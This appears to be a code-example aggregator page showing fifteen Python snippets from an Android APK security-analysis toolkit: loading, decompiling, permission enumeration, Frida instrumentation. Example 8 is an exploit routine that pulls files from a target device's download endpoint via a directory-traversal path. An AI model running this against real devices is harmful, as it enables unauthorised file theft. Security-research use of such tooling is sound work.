本文整理汇总了Python中framework.logging.logger.Logger类的典型用法代码示例。如果您正苦于以下问题:Python Logger类的具体用法?Python Logger怎么用?Python Logger使用的例子?那么恭喜您, 这里精选的类代码示例或许可以为您提供帮助。
在下文中一共展示了Logger类的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: do_loader
def do_loader(args):
"""
Description: Load target APK for analysis wth androguard --
Requirements: Target APK
Usage: loader </path/to/apk>
Usage: loader apk </path/to/apk>
"""
try:
from framework.brains.apk.loader import Loader
# Pass arguments to
# the loader module
#
loader = Loader(args)
global apk, apks, dex
if args.split()[0] == "apk":
apk = loader.run_loader()
apks = None
elif args.split()[0] == "dex":
dex = loader.run_loader()
apk = None
apks = None
else:
apk, apks = loader.run_loader()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import Loader"))
Logger.run_logger(e.message)
示例2: run_parse_uri
def run_parse_uri(self):
"""
Use adb to load up the
Main Activity and point it back out our blocking
web server in order to trigger the parsing of the
intent:// URL scheme
"""
# Target package and activity
#
activity = raw_input(t.green("[{0}] ".format(datetime.now()) + t.yellow("Enter the target Activity: ")))
target = "{0}/{1}".format(self.apk.get_package(), activity)
print(t.green("[{0}] ".format(datetime.now())) +
t.yellow("Target URI : ") +
"{0}".format(target))
try:
with open("{0}/framework/config".format(os.getcwd()), "r") as config:
ip = config.readline().strip("\n")
config.close()
url = "http://{0}:5000/services/intent".format(ip)
Popen(["{0} -n {1} -d {2}".format(ADBEnum.commands.get("am start"), target, url)], shell=True).wait()
print(t.green("[{0}] ".format(datetime.now())) +
t.yellow("Command successful : Check you device!"))
except IOError as e:
print(t.red("[{0}]".format(datetime.now()) + "Unable to read config"))
Logger.run_logger(e.message)
示例3: do_surgical
def do_surgical(args):
"""
Description: Instantiates the SurgicalAPI with available functions and operations
Requirements: Loaded APK
Usage: surgical
"""
try:
from framework.brains.surgical.api import SurgicalAPI
if globals()["apks"] is not None:
# Instantiate surgicalAPI
#
s = SurgicalAPI(globals()["apks"], "apks")
s.run_surgical()
elif globals()["dex"] is not None:
s = SurgicalAPI(globals()["dex"], "dex")
s.run_surgical()
else:
print(t.red("[{0}] ".format(datetime.now())) + t.white(enum.MODULE_UNAVAILABLE))
print(t.red("[{0}] ".format(datetime.now())) + t.white(enum.SURGICAL_MODULE_MESSAGE))
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + enum.IMPORT_ERROR_SURGICAL))
Logger.run_logger(e.message)
示例4: do_surgical
def do_surgical(args):
"""
Description: Instantiates the SurgicalAPI with available functions and operations
Requirements: Loaded APK
Usage: surgical
"""
try:
from framework.brains.surgical.api import SurgicalAPI
if globals()["apks"] is not None:
s = SurgicalAPI(globals()["apks"], "apks")
s.run_surgical()
elif globals()["dex"] is not None:
s = SurgicalAPI(globals()["dex"], "dex")
s.run_surgical()
else:
print(t.red("[{0}] ".format(datetime.now())) +
t.white("Module not available"))
print(t.red("[{0}] ".format(datetime.now())) +
t.white("You cannot run the surgical module without a target executable"))
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import the SurgicalAPI"))
Logger.run_logger(e.message)
示例5: do_permissions
def do_permissions(args):
"""
Description: List enumeration and api mappings from target APK
Requirements: Loaded APK
Usage: permissions <list> || <map>
"""
try:
from framework.brains.apk.enumeration.permissions import PermissionsList, PermissionsMap
if args == "list":
if globals()["apk"] is not None:
p = PermissionsList(globals()["apk"])
p.run_list_permissions()
else:
print(t.red("[{0}] ".format(datetime.now())) +
t.white("Module not available"))
print(t.red("[{0}] ".format(datetime.now())) +
t.white("You cannot list permissions with out a loaded APK"))
if args == "map":
if globals()["apk"] is not None and globals()["apks"] is not None:
p = PermissionsMap(globals()["apk"], globals()["apks"])
p.run_map_permissions()
else:
print(t.red("[{0}] ".format(datetime.now())) +
t.white("Module not available"))
print(t.red("[{0}] ".format(datetime.now())) +
t.white("You cannot map permissions with out an executable or APK"))
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import Permissions"))
Logger.run_logger(e.message)
示例6: do_scalpel
def do_scalpel(args):
"""
Description:
Requirements:
Usage:
"""
if args:
if args == enum.SCALPEL_ARGS_START_SERVER:
print(
t.green(
"[{0}] ".format(datetime.now()) + t.red(enum.SCAlPEL_BANNER) + t.yellow(enum.SCAlPEL_SERVER)
)
)
try:
from framework.brains.scalpel.server.scalpel_server import ScalpelServer
global scalpel
# Instantiate the ScalpelServer
#
scalpel = ScalpelServer()
scalpel.run()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + enum.IMPORT_ERROR_SCALPEL))
Logger.run_logger(e.message)
else:
print(t.red("[{0}] ".format(datetime.now()) + enum.ARGUMENTS))
示例7: do_bowser
def do_bowser(args):
"""
Description: Runs the bowser toolkit on a target APK
Requirements: Loaded APK, Lobotomy web services
Usage: bowser <enum> || <parseUri>
"""
try:
from framework.brains.bowser.bowser import Bowser
if globals()["apk"] is not None and globals()["apks"] is not None:
b = Bowser(globals()["apks"], globals()["apk"])
if args.split()[0] == "enum":
b.run_bowser()
if args.split()[0] == "parseUri":
b.run_parse_uri()
else:
print(t.red("[{0}] ".format(datetime.now())) +
t.white("Module not available"))
print(t.red("[{0}] ".format(datetime.now())) +
t.white("You cannot run the bowser module without a target executable"))
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import Bowser"))
Logger.run_logger(e.message)
示例8: exploit
def exploit(self):
"""
Handle exploit operations
"""
ip = None
while True:
with open("".join([os.getcwd(), "/framework/config"]), "r") as f:
web_service = "http://{0}:5000/exploits/mercury/wfm/check".format(f.readline().strip("\n"))
f.close()
print(t.green("[{0}] ".format(datetime.now()) +
t.yellow("Polling ...")))
try:
r = requests.get(web_service)
if r.text == "Not Engaged":
time.sleep(2)
continue
else:
# Response should contain
# device IP address
#
ip = r.text
print(t.green("[{0}] ".format(datetime.now())) + t.yellow("Exploit ready! Target IP : ") + ip)
break
except requests.HTTPError as e:
raise e
except requests.ConnectionError as e:
raise e
# Setup requests
# parameters
#
url = "".join(["http://{0}:8888/dodownload?fname=".format(ip), MercuryEnum().dir_trav_path])
headers = {"Referer": "http://{0}:8888/".format(ip)}
try:
for f in MercuryEnum.files:
print(t.green("[{0}] ".format(datetime.now()) + t.yellow("Retrieving ") + "{0}".format(f)))
local = "".join([os.getcwd(), MercuryEnum.download_dir, f.split("/")[-1]])
r = requests.get("".join([url, f]), headers=headers, stream=True)
if r.status_code == 200:
with open(local, "wb") as l:
for data in r.iter_content(chunk_size=1024):
l.write(data)
l.flush()
except requests.HTTPError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Http error, check logs!"))
Logger.run_logger(e.message)
except requests.ConnectionError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Connection error, check logs!"))
# Unicode error
#
Logger.run_logger(e.message[0])
示例9: run_decompile
def run_decompile(self):
"""
Decompile target APK with apktool.jar
"""
print(t.green("[{0}] ".format(datetime.now())) + t.yellow("Decompiling : ") + self.apk)
try:
Popen("java -jar {0} d {1} -f -o output/{2}".format("".join([os.getcwd(), "/bin/apktool.jar"]),
self.apk,
self.directory), shell=True).wait()
print(t.green("[{0}] ".format(datetime.now())) + t.yellow("Finished!"))
except CalledProcessError as e:
print(t.red("[{0}] ".format(datetime.now)) + e.returncode)
Logger.run_logger(e.message)
示例10: do_decompile
def do_decompile(args):
"""
Description: Decompile target APK with apktool.jar
Requirements: Target APK
Usage: decompile <name_of_output_directory> && </path/to/apk>
"""
try:
from framework.brains.apk.decompile import Decompile
decompile = Decompile(args.split()[0], args.split()[1])
decompile.run_decompile()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import Decompile"))
Logger.run_logger(e.message)
示例11: do_components
def do_components(args):
"""
Description: Enumerate components for target APK
Requirements: Loaded APK
Usage: permissions
"""
try:
from framework.brains.apk.enumeration.components import Components
c = Components(globals()["apk"])
c.enum_component()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import Components"))
Logger.run_logger(e.message)
示例12: do_d2j
def do_d2j(args):
"""
Description: Runs d2j-dex2jar.sh on the target APK
Requirements: Target APK
Usage: d2j <directory_name> </path/to/apk>
"""
try:
from framework.brains.dex2jar.d2j import D2J
d = D2J(args.split()[0], args.split()[1])
d.run_d2j()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import D2J"))
Logger.run_logger(e.message)
示例13: do_attacksurface
def do_attacksurface(args):
"""
Description: Enumerates attacksurface for target APK
Requirements: Loaded APK
Usage: attacksurface
"""
try:
from framework.brains.apk.enumeration.attack_surface import AttackSurface
c = AttackSurface(globals()["apk"])
c.run_enum_attack_surface()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import AttackSurface"))
Logger.run_logger(e.message)
示例14: do_frida
def do_frida(args):
"""
Description: Runs the Frida instrumentation toolkit against a target process
Requirements: Loaded APK
Usage: frida
"""
try:
from framework.brains.dynamic.frida.instrumentation import Instrumentation
i = Instrumentation(globals()["apk"])
i.run_instrumentation()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import Instrumentation"))
Logger.run_logger(e.message)
示例15: do_profiler
def do_profiler(args):
"""
Description: Run profiling on the target APK loaded
Requirements: Loaded APK
Usage: profiler
"""
try:
from framework.brains.apk.enumeration.profiler import Profiler
p = Profiler(globals()["apk"])
p.run_profiler()
except ImportError as e:
print(t.red("[{0}] ".format(datetime.now()) + "Unable to import Profiler"))
Logger.run_logger(e.message)